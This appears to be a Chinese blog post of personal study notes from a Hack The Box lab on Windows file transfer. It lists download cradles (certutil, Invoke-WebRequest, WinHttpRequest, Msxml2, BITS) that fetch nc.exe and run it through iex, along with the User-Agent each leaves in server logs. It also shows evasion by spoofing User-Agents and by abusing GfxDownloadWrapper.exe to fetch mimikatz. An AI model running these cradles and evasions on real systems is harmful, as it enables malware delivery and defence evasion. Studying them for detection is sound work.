C:\htb> certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

2.1对连接服务器的客户端检测

服务器通过对连接它的客户端进行检测从而来防御一些恶意软件工具,通常的做法是把允许连接服务器的客户端加入白名单中,大部分的客户端-服务器通信协议都是HTTP协议,服务器可以根据客户端的请求头中的UserAgent字段来判断客户端的身份,这里是一个UserAgent字符串列表here,下面列举一些客户端的UserAgent,如下:

Invoke-WebRequest - Client

PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe" 
PS C:\htb> Invoke-RestMethod http://10.10.10.32/nc.exe -OutFile "C:\Users\Public\nc.exe"

Invoke-WebRequest - Server

GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0

WinHttpRequest - Client

PS C:\htb> $h=new-object -com WinHttp.WinHttpRequest.5.1;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.ResponseText

WinHttpRequest - Server

GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Msxml2 - Client

PS C:\htb> $h=New-Object -ComObject Msxml2.XMLHTTP;
PS C:\htb> $h.open('GET','http://10.10.10.32/nc.exe',$false);
PS C:\htb> $h.send();
PS C:\htb> iex $h.responseText

Msxml2 - Server

GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)

Certutil - Client

PS C:\htb> certutil -urlcache -split -f http://10.10.10.32/nc.exe 
PS C:\htb> certutil -verifyctl -split -f http://10.10.10.32/nc.exe

Certutil - Server

GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0

BITS - Client

PS C:\htb> Import-Module bitstransfer;
PS C:\htb> Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
PS C:\htb> $r=gc $env:temp\t;
PS C:\htb> rm $env:temp\t; 
PS C:\htb> iex $r

BITS - Server

HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8

2.2逃避服务器检测的基本方法

我们可以通过修改User-Agent字段的值来逃避服务器对这个字段的检测,简单的我们修改成服务器允许的UserAgent值,下面,我们介绍下一些修改方法,如下:

使用Invoke-WebRequest修改

客户端

PS C:\htb> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "C:\Users\Public\nc.exe"

服务端

user@htb$ nc -lvnp 80

listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive

使用系统内置并且服务器信任的工具传输,例如,windows 10上的一个因特尔显卡驱动程序"GfxDownloadWrapper.exe",这个程序拥有下载文件的功能,我们可以直接利用它来下载文件,命令如下:

PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

至此,有关文件传输的基础知识以讲解完毕

Tips:这是我自己的一些学习总结,本文创作不易,希望可以帮助感兴趣的同学

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

renu08

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值